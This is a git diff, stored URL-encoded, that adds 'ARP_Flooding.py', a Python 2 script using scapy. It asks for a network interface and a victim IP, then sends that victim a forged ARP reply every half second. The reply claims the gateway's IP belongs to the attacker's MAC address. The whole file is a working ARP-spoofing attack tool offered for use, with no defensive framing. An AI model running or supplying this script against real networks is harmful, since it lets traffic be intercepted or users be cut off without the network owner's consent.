@@ -0,0 +1,1587 @@
+%22%22%22%0AName             : Python ARP Flooding%0ACreated By       : Agus Makmun (Summon Agus)%0ABlog             : bloggersmart.net - python.web.id%0ALicense          : GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007%0ADocumentation    : https://github.com/agusmakmun/Some-Examples-of-Simple-Python-Script/%0AThanks to        : RR12 - Indonesian Backtrack Team%0A%22%22%22%0A%0Afrom scapy.all import *%0Aimport sys, os, re, commands, time%0A%0Adef _checkRoot():%0A    if os.getuid() != 0:%0A        print %22%5B-%5D Please Access as root..!%22%0A        sys.exit()%0A    else:%0A        pass%0A    %0Adef _arpFlood(iface, target):%0A    conf.iface = iface%0A    target = target%0A    pkt = ARP()%0A%0A    gateway = commands.getoutput(%22ip route list %7C grep default%22).split()%5B2%5D%5B0:%5D%0A    pkt.psrc = gateway%0A%0A    pkt.pdst = target%0A%0A    mac_address = commands.getoutput(%22ifconfig %22 + iface).split()%5B4%5D%5B0:%5D%0A    pkt.hwsrc = mac_address%0A    %0A    time.sleep(2)%0A    print %22%22%0A    print %22%5B+%5D Interface%5Ct%5Ct : %25s%22 %25 iface%0A    print %22%5B+%5D Your Mac Address%5Ct : %25s%22 %25 mac_address%0A    print %22%5B+%5D Gateway%5Ct%5Ct : %25s%22 %25 gateway%0A    print %22%5B+%5D Victim IP Address to : %25s%22 %25 target%0A    print %22%5Cn%5B-%5D CTRL+C to Exit%22%0A    try:%0A        while 1:%0A            send(pkt, verbose=0)%0A            time.sleep(0.5)%0A    except:%0A        print '%5Cn%5B-%5D Process Stopped'%0A        %0Aif __name__ == '__main__':%0A    os.system(%22clear%22)%0A    _checkRoot()    %0A    iface = raw_input(%22%5Cn%5B+%5D Type interface (ex: wlan0): %22)%0A    target = raw_input(%22%5B+%5D Type ip target (ex, ip server: 192.168.1.1): %22)%0A    try:%0A        _arpFlood(iface, target)%0A    except KeyboardInterrupt:%0A        print %22%5Cn%5B+%5D Thank you..%22%0A

Create ARP_Flooding.py